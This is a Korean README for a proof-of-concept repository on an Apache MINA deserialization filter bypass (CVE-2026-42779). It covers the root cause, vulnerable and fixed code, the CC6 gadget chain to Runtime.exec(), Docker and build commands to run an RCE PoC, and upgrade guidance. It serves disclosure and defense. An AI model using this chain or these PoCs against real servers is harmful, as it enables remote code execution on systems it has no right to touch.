
Proof-of-concept로, Apache MINA의 역직렬화 필터 우회를 시연하여 원격 코드 실행으로 이어지는 취약점을 보여주며, 상세한 근본 원인 분석, 익스플로잇 PoC, 그리고 수정 지침을 포함합니다.
CVSS 3.1: 9.8 CRITICAL AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-502 신뢰할 수 없는 데이터의 역직렬화
보고자: Venkatraman Kumar, Securin
권고: Apache 메일링 리스트
Apache MINA 버전 2.1.0 ~ 2.1.11 및 2.2.0 ~ 2.2.6에는 AbstractIoBuffer.resolveClass()에 역직렬화 필터 우회 취약점이 존재합니다. 역직렬화할 수 있는 Java 클래스를 제한하기 위한 acceptMatchers 허용 목록은 ObjectStreamClass.forClass()가 null을 반환할 때 완전히 건너뛰어집니다.
ObjectSerializationCodecFactory를 사용하는 MINA 엔드포인트에 네트워크 접근이 가능한 공격자는 클래스 필터를 우회하는 프로토콜 페이로드를 제작할 수 있으며, 이를 통해 표준 Java 역직렬화 가젯 체인(예: Commons Collections)을 이용한 완전한 원격 코드 실행이 가능합니다.
이는 CVE-2026-41635에 대한 입니다. 원래 패치는 2.0.x 브랜치에 적용되었지만 병합 과정의 실수로 2.1.x 또는 2.2.x에는 백포트되지 않았습니다.
| 브랜치 | 취약한 버전 | 수정된 버전 |
|---|---|---|
| 2.1.x | 2.1.0 – 2.1.11 | 2.1.12 |
| 2.2.x | 2.2.0 – 2.2.6 | 2.2.7 |
취약점은 Java 객체 역직렬화 중 클래스 해석을 처리하는 AbstractIoBuffer.resolveClass()에 있습니다.
MINA는 두 가지 클래스 설명자 유형을 가진 사용자 정의 직렬화 프로토콜을 사용합니다:
취약한 코드에서 acceptMatchers 필터는 유형 1 분기에서만 확인됩니다(forClass()가 null이 아닌 값을 반환할 때). 유형 0 분기는 Class.forName()을 직접 호출하여 필터를 완전히 우회합니다:
// AbstractIoBuffer.java — 취약한 버전 (2.2.6)
protected Class<?> resolveClass(ObjectStreamClass desc) {
Class<?> clazz = desc.forClass();
if (clazz == null) {
// BUG: acceptMatchers 검사 없음 — 필터 완전히 우회됨
return Class.forName(name, false, classLoader);
} else {
// 필터는 여기서만 적용됨
for (ClassNameMatcher matcher : acceptMatchers) { ... }
}
}
2.2.7의 수정 사항은 필터 검사를 분기 이전으로 이동합니다:
// AbstractIoBuffer.java — 수정된 버전 (2.2.7)
protected Class<?> resolveClass(ObjectStreamClass desc) {
String className = desc.getName();
// forClass() 결과와 관계없이 필터가 먼저 적용됨
if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
throw new ClassNotFoundException("Class not in accept list " + className);
}
Class<?> clazz = desc.forClass();
// ... 안전한 해석 계속 진행
}
공격자 취약한 MINA 서버
| |
| 1. 가젯 체인 클래스에 대한 유형 0 |
| 설명자를 가진 MINA 페이로드 제작 |
| |
| 2. ObjectSerializationCodecFactory를 |
| 사용하는 엔드포인트로 전송 ---------------->|
| |
| 3. readClassDescriptor()가 유형 0을 읽음
| → super(표준 Java)로 위임 |
| |
| 4. resolveClass()가 forClass()==null 확인
| → 필터 없이 Class.forName() 호출 |
| |
| 5. 가젯 체인이 완전히 역직렬화됨 |
| → readObject()가 체인 트리거 |
| → Runtime.exec() 실행 |
| |
| RCE 달성 |
IoBuffer.getObject() 또는 ObjectSerializationCodecFactory를 사용accept()가 구성됨(필터가 없는 애플리케이션은 이미 CVE-2026-41635를 통해 악용 가능)공격자는 직렬화된 바이트 스트림을 제어합니다. 직렬화 가능한 가젯 체인 클래스에 대해 유형 1 대신 유형 0 클래스 설명자를 사용함으로써, 역직렬화 그래프의 모든 클래스는 애플리케이션의 허용 목록 구성과 관계없이 acceptMatchers 필터를 우회합니다.
세 가지 PoC가 단계적으로 증가하는 영향을 입증합니다:
| PoC | 입증 내용 |
|---|---|
FilterBypassPoC.java | 프리미티브, 직렬화 불가능한 클래스, 배열에 대한 필터 우회 |
CraftedBypassPoC.java | 공격자가 제작한 유형 0 페이로드가 모든 직렬화 가능한 클래스에 대한 필터 우회 |
RcePoC.java | 필터 우회를 통한 CC6 가젯 체인으로 완전한 RCE |
허용 목록에 없는 클래스가 제한 없이 역직렬화됩니다:

공격자는 유형 0 설명자를 가진 MINA 프로토콜 페이로드를 제작하여 String만 허용하는 목록을 우회하고 모든 클래스를 로드합니다:

CC6 변형 가젯 체인(HashSet → TiedMapEntry → LazyMap → ChainedTransformer → Runtime.exec())이 필터 우회를 통해 명령 실행을 달성합니다:

동일한 테스트가 수정된 버전에서는 차단됩니다:

가젯 체인이 필터에 의해 거부됩니다:

가장 빠른 테스트 방법 — JDK나 Maven이 필요 없습니다:
# 이 저장소 클론
git clone https://github.com/dinosn/CVE-2026-42779.git
cd CVE-2026-42779
# 모든 PoC 빌드 및 실행
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779
# 개별 PoC 실행
docker run --rm cve-2026-42779 bypass # 필터 우회만
docker run --rm cve-2026-42779 crafted # 제작된 페이로드 우회
docker run --rm cve-2026-42779 rce # 완전한 RCE
# 탐색을 위한 셸 진입
docker run --rm -it cve-2026-42779 shell
이미지에는 취약한 MINA 2.2.6 JAR, Commons Collections 3.2.2 및 세 가지 사전 컴파일된 PoC가 포함되어 있습니다. 모든 것이 컨테이너 내부에서 자체적으로 실행됩니다.
소스에서 빌드하려는 경우:
# 취약한 버전 클론 및 빌드
git clone https://github.com/apache/mina.git /tmp/apache-mina
cd /tmp/apache-mina
git checkout 2.2.6
mvn install -pl mina-core -DskipTests -q
# commons-collections 다운로드 (RCE PoC용)
curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \
-o commons-collections-3.2.2.jar
# PoC 컴파일
javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java
# 필터 우회 PoC 실행
java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC
# 제작된 페이로드 PoC 실행
java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC
# 완전한 RCE PoC 실행
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \
RcePoC
또는 포함된 Makefile을 사용:
make run-all # 세 가지 PoC 모두 빌드 및 실행
make run-rce # RCE PoC만 실행
요구 사항: JDK 11+ 및 Maven(소스 빌드용) 또는 Docker(컨테이너용)
Apache MINA 2.1.12 또는 2.2.7로 업그레이드하세요.
즉시 업그레이드가 불가능한 경우:
IoBuffer.getObject() 또는 ObjectSerializationCodecFactory를 사용하지 마세요| 날짜 | 이벤트 |
|---|---|
| 2026-05-01 | Apache MINA PMC가 권고 게시 |
| 2026-05-01 | 수정된 버전 2.1.12 및 2.2.7 릴리스 |
| 2026-05-02 | 이 PoC 개발 및 테스트 |
이 개념 증명은 방어적 보안 연구, 교육 및 승인된 침투 테스트 전용으로 제공됩니다. 책임감 있게 사용하고 테스트 권한이 있는 시스템에 대해서만 사용하세요.